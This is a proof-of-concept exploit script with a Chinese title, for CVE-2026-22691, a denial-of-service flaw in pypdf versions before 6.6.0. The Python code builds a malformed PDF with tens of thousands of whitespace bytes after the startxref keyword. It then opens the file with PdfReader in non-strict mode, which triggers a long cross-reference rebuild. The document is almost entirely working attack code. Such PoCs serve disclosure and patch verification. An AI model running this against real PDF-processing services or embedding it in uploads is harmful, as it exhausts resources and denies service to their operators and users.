CVE-2026-22691 pypdf startxref拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-22691 PoC - pypdf startxref DoS This PoC demonstrates the vulnerability in pypdf < 6.6.0 where malformed startxref with excessive whitespace causes long runtimes. """ from pypdf import PdfReader import io def create_malicious_pdf(): """ Create a malicious PDF with excessive whitespace in startxref section """ # Create PDF with lots of whitespace before startxref # This triggers long runtime in cross-reference table rebuilding malicious_pdf = b"""%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >> endobj xref 0 4 0000000000 65535 f 0000000015 00000 n 0000000068 00000 n 0000000125 00000 n trailer << /Size 4 /Root 1 0 R >> startxref """ # Add excessive whitespace (thousands of spaces/tabs/newlines) whitespace = b' ' * 50000 + b'\t' * 10000 + b'\n' * 10000 # Invalid startxref value followed by EOF marker end_marker = b"\n%%EOF" return malicious_pdf + whitespace + end_marker def exploit(): """ Exploit function to trigger the vulnerability """ print("[*] Creating malicious PDF...") pdf_data = create_malicious_pdf() print("[*] Opening PDF with pypdf (non-strict mode)...") print("[*] This may take a long time due to the vulnerability...") try: # Open in non-strict mode (strict=False is default for some operations) pdf_file = io.BytesIO(pdf_data) reader = PdfReader(pdf_file, strict=False) # This is where the long runtime occurs # Accessing pages triggers cross-reference table rebuilding num_pages = len(reader.pages) print(f"[!] Unexpectedly succeeded: {num_pages} pages") except Exception as e: print(f"[!] Exception occurred: {e}") if __name__ == "__main__": exploit()